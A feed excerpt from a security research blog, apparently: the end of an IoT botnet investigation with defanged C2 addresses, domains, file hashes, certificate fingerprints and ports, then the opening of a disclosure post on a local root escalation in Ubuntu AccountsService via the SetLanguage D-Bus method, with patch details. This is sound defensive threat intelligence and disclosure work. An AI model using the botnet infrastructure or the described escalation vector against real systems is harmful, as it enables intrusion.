&lt;p&gt;The two victim databases and the observed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqsz&lt;/code&gt; configuration identifiers are consistent with multiple streams, generations, or backend components. They do not establish a strict one-to-one mapping between implant generation and database population. The later move from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp&lt;/code&gt; also changed what was visible from device logs, so server-side tokenized generation may have continued outside our device-side view.&lt;/p&gt;

&lt;h3 id=&quot;proxy-runtime-provenance&quot;&gt;Proxy Runtime Provenance&lt;/h3&gt;

&lt;p&gt;The large MIPS runtime recovered from the Zyxel matched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts_upload/mips&lt;/code&gt; in the dump by hash and BuildID, and it showed IPRoyal/Pawns-compatible behavior on the device. The compared Pawns samples suggest that this runtime was not the current official Pawns client. Further provenance analysis could distinguish older official build, fork, rebuild, wrapper, or clone scenarios, but the operational linkage remains: the same proxy-capable runtime appeared on the device and in the exposed dump.&lt;/p&gt;

&lt;h3 id=&quot;current-activity-and-botnet-purpose&quot;&gt;Current Activity and Botnet Purpose&lt;/h3&gt;

&lt;p&gt;Since early July 2026, our honeypot has not observed further activity from this cluster. Before that pause, what we saw on the device was narrow: the large MIPS runtime with IPRoyal/Pawns-compatible proxy behavior accounted for nearly all observable activity, alongside a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo&lt;/code&gt; LAN scan. The wider capability set of the recovered backend, including tasking, POC/EXP handlers and batch shell execution, was never exercised against our device.&lt;/p&gt;

&lt;p&gt;The two views therefore differ in scale. On the device, proxy monetization was the dominant observable behavior. In the backend, it is one function among many. Whether the proxy traffic is the business model, a side revenue stream, or cover for selective tasking of a smaller victim subset is a question a single honeypot cannot answer.&lt;/p&gt;

&lt;h3 id=&quot;vs-code-operator-traces&quot;&gt;VS Code Operator Traces&lt;/h3&gt;

&lt;p&gt;The VS Code Remote artifacts document operator workflow on the exposed host, including remote alias data, edited files, metadata probes, and tunnel-related activation artifacts. We use these traces as workflow evidence, not as proof of operator identity, workstation identity, concrete tunnel endpoints, or successful credential access.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;8-conclusion&quot;&gt;8. Conclusion&lt;/h2&gt;

&lt;p&gt;There was no obvious malware incident at the start of this case. What we had was quiet authentication telemetry: a handful of structured login attempts that, viewed in isolation, could easily have been dismissed as noise.&lt;/p&gt;

&lt;p&gt;The customer-approved analysis of the affected Zyxel device changed that picture. On the device, we found staged payload delivery, web-request-launched execution, decoded C2 configuration, local-network scanning, and a large MIPS runtime with proxy capability. Those artifacts showed that the authentication lead was connected to real embedded-device compromise.&lt;/p&gt;

&lt;p&gt;The decoded implant configuration then gave us concrete infrastructure pivots. Follow-up monitoring led from the compromised device to exposed backend infrastructure. When parts of that backend became visible, we could compare the device-side evidence with server-side files instead of looking at each layer in isolation.&lt;/p&gt;

&lt;p&gt;The exposed dump was not just a repository of payloads. It showed an operator working environment. The recovered files connected the Zyxel evidence to staging services, generated or staged MIPS artifacts, SQLite-backed victim and listener state, tasking and scan workflows, DNS and HTTP callback utilities, proxy runtime deployment, shell history, and VS Code Remote workflow traces.&lt;/p&gt;

&lt;p&gt;Layered up, this is an operational IoT botnet environment. The operation combined payload staging, C2 state management, tasking, scanning, proxy or tunneling capability, and hands-on server administration. We do not assign a final actor name or a single campaign label, but the technical picture is clear: identity telemetry, embedded-device forensics, network staging, backend databases, and reverse-engineered C2 behavior all pointed into the same ecosystem.&lt;/p&gt;

&lt;p&gt;The main value of this case is the connection between those layers. A weak signal in authentication telemetry became meaningful when paired with device evidence. Device evidence became actionable when decoded configurations led to infrastructure. Infrastructure exposure then showed how the backend managed victims, listeners, tasks, scans, and proxy-capable runtimes. That cross-layer chain turned a small authentication anomaly into a view of how an IoT botnet operation was built and run.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;9-infrastructure-and-ioc-notes&quot;&gt;9. Infrastructure and IOC Notes&lt;/h2&gt;

&lt;p&gt;The following indicators are useful for detection and enrichment. They are defanged and should be validated against local telemetry before blocking.&lt;/p&gt;

&lt;h3 id=&quot;network&quot;&gt;Network&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Value&lt;/th&gt;
      &lt;th&gt;Note&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;38.180.190[.]115&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;First observed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver&lt;/code&gt; C2/staging generation in device and honeypot context.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;154.213.177[.]40&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Intermediate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver&lt;/code&gt; C2 generation.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;13.210.186[.]13&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 generation from which the exposed dump was obtained.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;94.74.85[.]247&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Later active HTTP staging/check generation.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;log.mu091i[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;DNSLog callback/check domain suffix.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.log.mu091i[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Passive-DNS pivot for botnet-member or task-callback discovery; validate against local telemetry.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sd.clubde[.]xyz&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Decoded later implant C2 hostname; observed with port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8888&lt;/code&gt;, and DNS later resolved it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;94.74.85[.]247&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api.iproyal[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Upstream service used by the large proxy runtime.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t1.xshaon123[.]sbs&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Built-in task/report host observed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/df/lvm01&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a1.xshaon123[.]sbs&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Built-in task/report host observed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/df/lvm01&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t1.xmsae[.]sbs&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Built-in task/report host observed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/df/lvm01&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a1.xmsae[.]sbs&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Built-in task/report host observed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/df/lvm01&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t1.ishano456[.]sbs&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Built-in task/report host observed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/df/lvm01&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a1.ishano456[.]sbs&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Built-in task/report host observed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/df/lvm01&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yy.mu091i[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Config-like domain decoded from one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df/mips&lt;/code&gt; sibling.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kk.t81m[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Config-like domain decoded from one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df/mips&lt;/code&gt; sibling.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;hashes&quot;&gt;Hashes&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zysocks5&lt;/code&gt;-related file hashes and infrastructure indicators observed on the customer device are listed with context in &lt;a href=&quot;#21-zysocks5-cluster&quot;&gt;Section 2.1&lt;/a&gt;.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;SHA-256&lt;/th&gt;
      &lt;th&gt;File name&lt;/th&gt;
      &lt;th&gt;Note&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eb19b63001dbcd57f117e0cbd5a2b9b7a56dc4d75e8510b7d87107c6ad2e7859&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mips&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Large Go MIPS runtime; hash-matched the infected-device artifact.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;98dd339e22e6fd2d8bedc5124f2b410d3f19f946abe296a95a366a0c6b4e4143&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo_linux_mips&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Device-side LAN scanner binary.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;6e92265e1af5ead4ae28775e35940c6d9857894acc2d504d22d801b04fbc1531&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo.sh&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Launcher for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo_linux_mips&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Hashes prove identity only for the exact files listed. Similar filenames elsewhere in the dump should not be treated as identical without hash comparison.&lt;/p&gt;

&lt;h3 id=&quot;certificate-fingerprints&quot;&gt;Certificate Fingerprints&lt;/h3&gt;

&lt;p&gt;Several C2 components embedded or exposed reusable TLS material. These fingerprints are useful pivots, but they should be tied to component context because some material is present but not fully proven to be used on every path. The listed Common Names (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=example.com&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=MyCA&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=AA&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=DD&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O=Acme Co&lt;/code&gt;) are the literal values extracted from the binaries and certificate material, not anonymized substitutions; their generic, template-like naming is itself notable and consistent with unmodified example or default certificates from the underlying framework code rather than operator-customized identities.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Component&lt;/th&gt;
      &lt;th&gt;Certificate&lt;/th&gt;
      &lt;th&gt;SHA-256 fingerprint&lt;/th&gt;
      &lt;th&gt;Notes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2new/c18&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Leaf &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=example.com&lt;/code&gt;, issuer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=MyCA&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;2B:45:2C:34:EE:2B:E0:D3:8E:67:8D:08:9D:24:6A:10&lt;br /&gt;E0:04:48:FC:9B:3E:9F:93:99:13:A5:67:42:E7:F8:7C&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Extracted from embedded PEM chain; mTLS interaction worked with extracted material in lab.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2new/c18&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Self-signed CA &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=MyCA&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;C0:8A:C1:66:DA:A2:11:F9:38:A0:87:80:DC:DA:DC:DA&lt;br /&gt;87:B7:36:5B:F6:C4:F9:C7:2B:22:13:59:FA:71:78:3F&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;CA for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt; chain.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es_new&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Server leaf &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=AA&lt;/code&gt;, issuer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=DD&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;97:47:F3:11:DB:F1:FC:0F:AA:3C:F1:FE:6C:F6:2F:4B&lt;br /&gt;95:EC:AF:61:F0:E0:3F:30:57:80:62:AE:AE:4F:4F:F6&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Extracted from Go arena; server required client certificate.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es_new&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Self-signed CA &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=DD&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;15:14:CD:39:4E:6A:FA:49:33:DE:C7:3B:D5:95:00:A0&lt;br /&gt;0A:3A:50:3E:48:9C:69:1F:9B:49:FE:F9:2B:C1:62:D4&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Client certificate or CA private key was not recovered.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Leaf-ish cert &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=AA&lt;/code&gt;, issuer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=DD&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;97:47:F3:11:DB:F1:FC:0F:AA:3C:F1:FE:6C:F6:2F:4B&lt;br /&gt;95:EC:AF:61:F0:E0:3F:30:57:80:62:AE:AE:4F:4F:F6&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Embedded PEM material; TeamServer TLS listener reported &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mTLS=true&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/es&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Self-signed CA &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=DD&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;15:14:CD:39:4E:6A:FA:49:33:DE:C7:3B:D5:95:00:A0&lt;br /&gt;0A:3A:50:3E:48:9C:69:1F:9B:49:FE:F9:2B:C1:62:D4&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Shared CA material observed across xserver TLS components.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/es&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Self-signed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O=Acme Co&lt;/code&gt; cert&lt;/td&gt;
      &lt;td&gt;&lt;code&gt;46:81:74:FD:18:AE:99:0A:0A:1E:10:56:8E:30:F9:81&lt;br /&gt;9A:8A:CD:23:22:4C:31:9F:4E:C3:EB:4F:6F:29:80:D9&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Present after unpacking; usage remains unresolved and it does not match the server RSA key used for the proven TLS path.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;ports&quot;&gt;Ports&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Note&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8888&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver&lt;/code&gt; TCP listener candidate for implant uplink.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1098&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;HTTP staging; dump host fingerprinted as Python &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SimpleHTTPServer&lt;/code&gt;, later staging process unresolved.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7268&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;HTTP token/check behavior; hardcoded in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httplog&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;14443&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;TeamServer TLS/mTLS.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;14444&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;QUIC.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;33355&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ES TLS/mTLS.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;33356&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;QUIC.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;15687&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2_old&lt;/code&gt; listener.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;23323&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;File-server role in multiple components.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8765&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;MikroTik brute-force service in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es_new&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8099&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Post/check style server behavior in file-server tooling.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
  </entry>
  
  <entry>
    <title>SetRootLanguage: Local privilege escalation in Ubuntu via AccountsService</title>
    <link href="https://github.security.telekom.com/2026/07/SetRootLanguage-ubuntu-privesc-setlanguage.html"/>
    <id>https://github.security.telekom.com/2026/07/SetRootLanguage-ubuntu-privesc-setlanguage.html</id>
    <updated>2026-07-21T00:00:00+00:00</updated>
    <summary type="html">A two-bug chain in Ubuntu’s AccountsService language update path allows any local user to obtain local root access. We call the vulnerability chain “SetRootLanguage” because a single call to the SetLanguage D-Bus method is all it takes to end up with root. The only prerequisite is that at least one non-English language pack is installed on the system. This blog post is a continuation of our previous research on local privilege escalation vulnerabilities in userland applications on Linux-based operating systems.</summary>
    <content type="html">&lt;p&gt;A two-bug chain in Ubuntu’s AccountsService language update path allows any local user to obtain local root access. We call the vulnerability chain “SetRootLanguage” because a single call to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetLanguage&lt;/code&gt; D-Bus method is all it takes to end up with root. The only prerequisite is that at least one non-English language pack is installed on the system.
This blog post is a continuation of our previous research on local privilege escalation vulnerabilities in userland applications on Linux-based operating systems.
&lt;!--more--&gt;
The discovery came from targeted research into privilege escalation vectors in the Ubuntu desktop stack. The vulnerabilities were responsibly disclosed to Canonical and assigned CVE IDs. Ubuntu security advisories for all affected releases were published on the coordinated release date of 2026-07-21 16:00 UTC.&lt;/p&gt;

&lt;h3 id=&quot;affected-versions&quot;&gt;Affected versions, fixes and mitigations&lt;/h3&gt;

&lt;p&gt;The following table lists the affected Ubuntu distributions as of the coordinated release date:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Ubuntu Release&lt;/th&gt;
      &lt;th&gt;Codename&lt;/th&gt;
      &lt;th&gt;Status&lt;/th&gt;
      &lt;th&gt;Fixed package&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;26.10&lt;/td&gt;
      &lt;td&gt;Stonking&lt;/td&gt;
      &lt;td&gt;Fix Released&lt;/td&gt;
      &lt;td&gt;accountsservice 23.13.9-8ubuntu7, libaccountsservice0 23.13.9-8ubuntu7&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;26.04 LTS&lt;/td&gt;
      &lt;td&gt;Resolute&lt;/td&gt;
      &lt;td&gt;Fix Released&lt;/td&gt;
      &lt;td&gt;accountsservice 23.13.9-8ubuntu5.2, libaccountsservice0 23.13.9-8ubuntu5.2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;24.04 LTS&lt;/td&gt;
      &lt;td&gt;Noble&lt;/td&gt;
      &lt;td&gt;Fix Released&lt;/td&gt;
      &lt;td&gt;accountsservice 23.13.9-2ubuntu6.1, libaccountsservice0 23.13.9-2ubuntu6.1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;22.04 LTS&lt;/td&gt;
      &lt;td&gt;Jammy&lt;/td&gt;
      &lt;td&gt;Fix Released&lt;/td&gt;
      &lt;td&gt;accountsservice 22.07.5-2ubuntu1.6, libaccountsservice0 22.07.5-2ubuntu1.6&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.04 LTS&lt;/td&gt;
      &lt;td&gt;Focal&lt;/td&gt;
      &lt;td&gt;Fix Released (ESM)&lt;/td&gt;
      &lt;td&gt;accountsservice 0.6.55-0ubuntu12~20.04.7+esm1 (Ubuntu Pro)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;18.04 LTS&lt;/td&gt;
      &lt;td&gt;Bionic&lt;/td&gt;
      &lt;td&gt;Fix Released (ESM)&lt;/td&gt;
      &lt;td&gt;accountsservice 0.6.45-1ubuntu1.3+esm2 (Ubuntu Pro)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;16.04 LTS&lt;/td&gt;
      &lt;td&gt;Xenial&lt;/td&gt;
      &lt;td&gt;Fix Released (ESM)&lt;/td&gt;
      &lt;td&gt;accountsservice 0.6.40-2ubuntu11.6+esm2 (Ubuntu Pro)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;14.04 LTS&lt;/td&gt;
      &lt;td&gt;Trusty&lt;/td&gt;
      &lt;td&gt;Fix Released (ESM)&lt;/td&gt;
      &lt;td&gt;accountsservice 0.6.35-0ubuntu7.3+esm4 (Ubuntu Pro)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;mitigation&quot;&gt;Fix and mitigation&lt;/h3&gt;

&lt;p&gt;Canonical published Ubuntu Security Notices covering all affected releases on 2026-07-21:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/notices/USN-8580-1&quot;&gt;USN-8580-1&lt;/a&gt;: Ubuntu 26.10, 26.04 LTS, 24.04 LTS, 22.04 LTS&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/notices/USN-8580-2&quot;&gt;USN-8580-2&lt;/a&gt;: Ubuntu 20.04 LTS, 18.04 LTS, 16.04 LTS, 14.04 LTS (requires Ubuntu Pro)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Apply the available security updates immediately:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--only-upgrade&lt;/span&gt; accountsservice libaccountsservice0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If updates cannot be applied immediately, note that the vulnerable branch in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set-language-helper&lt;/code&gt; is only reached when at least one non-English language pack is installed. Removing non-English language packs prevents the vulnerable code path from being triggered, but is not a reliable long-term safeguard and should not be substituted for patching.&lt;/p&gt;

&lt;h2 id=&quot;a-language-request-that-speaks-root&quot;&gt;A language request that speaks root&lt;/h2&gt;

&lt;p&gt;During targeted local privilege escalation research, we turned our attention to the Ubuntu desktop stack, specifically the D-Bus services that manage user account settings. &lt;a href=&quot;https://www.freedesktop.org/wiki/Software/AccountsService/&quot;&gt;AccountsService&lt;/a&gt; is a daemon that lets desktop sessions read and modify account properties such as the display name, icon, and preferred language. It ships and runs by default on Ubuntu as root.&lt;/p&gt;

&lt;p&gt;Root process, shell scripts, user-controlled input. We found the collision we were looking for.
